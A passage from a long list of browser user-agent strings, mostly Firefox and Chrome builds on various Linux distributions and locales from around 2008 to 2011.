(Elyssa) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 